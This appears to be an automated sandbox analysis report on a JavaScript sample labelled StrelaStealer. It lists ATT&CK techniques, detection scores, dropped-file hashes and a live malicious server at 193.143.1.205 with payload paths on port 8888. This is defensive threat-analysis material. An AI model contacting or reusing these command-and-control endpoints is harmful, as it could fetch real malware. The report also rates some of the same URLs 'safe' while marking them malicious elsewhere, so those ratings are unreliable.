Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
200475024256003612.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
200475024256003612.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/k	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3375910533.0000026969400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2160561032.0000026969270000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/k	net.exe, 00000007.00000003.2156823252.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157228982.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s64s	net.exe, 00000007.00000002.2157175309.000002A2A63E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2156823252.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157175309.000002A2A63E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157228982.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157320303.000002A2A6442000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2156596426.000002A2A6440000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588664
Start date and time:	2025-01-11 03:52:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	200475024256003612.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 3.233.129.217, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:53:54	API Interceptor	23x Sleep call for process: powershell.exe modified
21:53:58	API Interceptor	1x Sleep call for process: net.exe modified
21:53:58	API Interceptor	2x Sleep call for process: svchost.exe modified
21:54:06	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307166310592135
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugH:gJjJGtpTq2yv1AuNZRY3diu8iBVqF9
MD5:	55AF5BAD45700F8E88BCC2326CDA0FD0
SHA1:	935A93FD2A2233884AE4299B63DE24F60C9D5A7F
SHA-256:	5ADAABC24C4F7BD59923DAC112CA91F75BA4F821B57A51718778FAE8300C1AAA
SHA-512:	89AA254FBF5548A2A08AC9A848F57C6518BAAAB4247902C4EAF2835CA0D3C3584CBEAAAA679089600ECCBFA433EAECBA56E366F81B2B588EABAE80AE8AAD4759
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x435c1fda, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658567105810738
Encrypted:	false
SSDEEP:	1536:t//SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/T:t//aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	74677C745B81C4DE7EBC4141F19753E9
SHA1:	8B780EB4CB9E9E60A05F8CE6030D5E4AEBA8EAC6
SHA-256:	DC58BA898A019B4D2E40B94B8E6C99C11C69C429EB875DEA196637A0CD4996AA
SHA-512:	0A1C64F92A272E4F4DF1C830E40B86A1F67D2563B24E89A0EA1F26428A66EF60C0F87ABAD8289C4B901BA732CB5053F7DECD71D515FBC2800D38219C38B942FB
Malicious:	false
Preview:	C\..... ...............X\...;...{......................0.z..........{..;5...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................F.;5...}.................,@..;5...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08070408162191503
Encrypted:	false
SSDEEP:	3:TQ/KYepyukN1GkGuAJkhvekl1WsPuctallrekGltll/SPj:UKzp9ktrxlcYuxJe3l
MD5:	F3AC3F3387C350601EA38D2D8CDA659C
SHA1:	7719DD84822A61CA9ADB97000745C55E068A72A3
SHA-256:	2C8B5CEBAC17569EBE39AF6341C84CA6EB197EE4274530950A95055C231E9A7C
SHA-512:	7AA928183691ECA5D3C99513F51F91B06D612AF91F84980046BECC3CE6629C05148F48DA1D196B661AD12CC0025060E28C7B82A9D56DFA7CF438CE801F23DA09
Malicious:	false
Preview:	.5......................................;...{..;5...}.......{...............{.......{...XL......{..................,@..;5...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.127978071924617
Encrypted:	false
SSDEEP:	6:iO4qdNyq2P92nKuAl9OmbnIFUtSqdtqz1ZmwsqdtqlRkwO92nKuAl9OmbjLJ:7gv4HAahFUtzw1/hS5LHAaSJ
MD5:	0759049F461BFEB33D855418F6A45AAD
SHA1:	235ADE6B40A86D40DB6EFD8671C2F320E3DE34D8
SHA-256:	6E7F5DA4D14E2C0CFC778B79767C97B13C02AC4DC99E7EC188E7C8F4B9AD02D4
SHA-512:	FD48EC6FB7EF1102C5576922D01DFDDC8309B8C6F5AC568FE5A216C9356BAB4546D23987C80B0BE7004B969072B5F9342BE3100DBC053EFB8B3DDD0C1D8AB3CA
Malicious:	false
Preview:	2025/01/10-21:53:58.801 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:53:58.806 1ca0 Recovering log #3.2025/01/10-21:53:58.806 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.127978071924617
Encrypted:	false
SSDEEP:	6:iO4qdNyq2P92nKuAl9OmbnIFUtSqdtqz1ZmwsqdtqlRkwO92nKuAl9OmbjLJ:7gv4HAahFUtzw1/hS5LHAaSJ
MD5:	0759049F461BFEB33D855418F6A45AAD
SHA1:	235ADE6B40A86D40DB6EFD8671C2F320E3DE34D8
SHA-256:	6E7F5DA4D14E2C0CFC778B79767C97B13C02AC4DC99E7EC188E7C8F4B9AD02D4
SHA-512:	FD48EC6FB7EF1102C5576922D01DFDDC8309B8C6F5AC568FE5A216C9356BAB4546D23987C80B0BE7004B969072B5F9342BE3100DBC053EFB8B3DDD0C1D8AB3CA
Malicious:	false
Preview:	2025/01/10-21:53:58.801 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:53:58.806 1ca0 Recovering log #3.2025/01/10-21:53:58.806 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148968669349936
Encrypted:	false
SSDEEP:	6:iO4qdJSQL+q2P92nKuAl9Ombzo2jMGIFUtSqd5GKWZmwsqd3WSQLVkwO92nKuAlx:753+v4HAa8uFUtSKW/rSV5LHAa8RJ
MD5:	8C8E3EEB5AE4395C0DF7E95759AFA644
SHA1:	8BF240C5B12AE0797A307781890B62BD74EE14EC
SHA-256:	F7350AC5F100E44A0B4B73EB3CA1F017DC832C2548B94F8C1C39E2FB7BF7740C
SHA-512:	5FCCB120BA0C352ECBF08594C30E5D604F56F6CEE53FE01EED747876073BF745E08ACD7B1D2B281464341324ECB5C8991B04BBCDD8EDA400CC45C153031D6C39
Malicious:	false
Preview:	2025/01/10-21:53:58.938 1cec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:53:58.939 1cec Recovering log #3.2025/01/10-21:53:58.940 1cec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148968669349936
Encrypted:	false
SSDEEP:	6:iO4qdJSQL+q2P92nKuAl9Ombzo2jMGIFUtSqd5GKWZmwsqd3WSQLVkwO92nKuAlx:753+v4HAa8uFUtSKW/rSV5LHAa8RJ
MD5:	8C8E3EEB5AE4395C0DF7E95759AFA644
SHA1:	8BF240C5B12AE0797A307781890B62BD74EE14EC
SHA-256:	F7350AC5F100E44A0B4B73EB3CA1F017DC832C2548B94F8C1C39E2FB7BF7740C
SHA-512:	5FCCB120BA0C352ECBF08594C30E5D604F56F6CEE53FE01EED747876073BF745E08ACD7B1D2B281464341324ECB5C8991B04BBCDD8EDA400CC45C153031D6C39
Malicious:	false
Preview:	2025/01/10-21:53:58.938 1cec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:53:58.939 1cec Recovering log #3.2025/01/10-21:53:58.940 1cec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8da05432-0915-4694-8fc5-58cd571c6092.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0565866260766175
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2H2Acaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHG3QYhbxP7nbI+
MD5:	87D2603ABD05808BDD9CCF7B5936EDBE
SHA1:	3FE46DAAED21458E80B536366A41E57D777B9AA6
SHA-256:	AEA0A3E8B0648307D0838E7CDEF5B54A80F7C65402C7ADC3C464EDA6775CF364
SHA-512:	6BA0A091C64C2E6C77C706DBF9CB1D4D0D5B738E9BEEB9ABDA9783C414827C38A03274B99637699DC183EBC3EBEAB6D6141A8B1A8F68B36478F793FCCB1B72F5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124050701823","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":157651},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0565866260766175
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2H2Acaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHG3QYhbxP7nbI+
MD5:	87D2603ABD05808BDD9CCF7B5936EDBE
SHA1:	3FE46DAAED21458E80B536366A41E57D777B9AA6
SHA-256:	AEA0A3E8B0648307D0838E7CDEF5B54A80F7C65402C7ADC3C464EDA6775CF364
SHA-512:	6BA0A091C64C2E6C77C706DBF9CB1D4D0D5B738E9BEEB9ABDA9783C414827C38A03274B99637699DC183EBC3EBEAB6D6141A8B1A8F68B36478F793FCCB1B72F5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124050701823","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":157651},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235494558216993
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUPh+6N8Gn:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLe
MD5:	DA77EF5911D679F52A6F733829991CE8
SHA1:	7F6928642B1B2D898C99DC2712BF1561CD11E167
SHA-256:	41A15B54CF0A7D5927F873F37F63D7C9C6CBDECD0DD163C6AD2839611A9FF480
SHA-512:	4685A211919DA8AFE65BDBA0CA681495E1CCA5B0C5CD81FCFC627EFBD5E41323B58A0EB05C47315FFABE6C8C30139C676678B37C73113232DDDD3A32FD1B238D
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.13990464738806
Encrypted:	false
SSDEEP:	6:iO4qdE0uQL+q2P92nKuAl9OmbzNMxIFUtSqdbSGKWZmwsqdUU5QLVkwO92nKuAlG:700+v4HAa8jFUth1KW/oUSV5LHAa84J
MD5:	86659EE12DEB90EC33D7A5A4E6784E56
SHA1:	4E8AC95701B47FF8DEDDC2B04FA8F001F03AF33B
SHA-256:	DFF342B552F5ED833C7CA92AE9FC9C7AC4F04C357A3BB91B26C9FB7D2C94AB12
SHA-512:	D546BAAEC46A4F511C4DBA5625F2C608E39917B06675F3CE0300017EB769687A4EE3007D48CCF6B09200AD711E8F7EC1E49923245FF0E2AC293F891FF1498911
Malicious:	false
Preview:	2025/01/10-21:53:59.209 1cec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:53:59.238 1cec Recovering log #3.2025/01/10-21:53:59.543 1cec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.13990464738806
Encrypted:	false
SSDEEP:	6:iO4qdE0uQL+q2P92nKuAl9OmbzNMxIFUtSqdbSGKWZmwsqdUU5QLVkwO92nKuAlG:700+v4HAa8jFUth1KW/oUSV5LHAa84J
MD5:	86659EE12DEB90EC33D7A5A4E6784E56
SHA1:	4E8AC95701B47FF8DEDDC2B04FA8F001F03AF33B
SHA-256:	DFF342B552F5ED833C7CA92AE9FC9C7AC4F04C357A3BB91B26C9FB7D2C94AB12
SHA-512:	D546BAAEC46A4F511C4DBA5625F2C608E39917B06675F3CE0300017EB769687A4EE3007D48CCF6B09200AD711E8F7EC1E49923245FF0E2AC293F891FF1498911
Malicious:	false
Preview:	2025/01/10-21:53:59.209 1cec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:53:59.238 1cec Recovering log #3.2025/01/10-21:53:59.543 1cec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
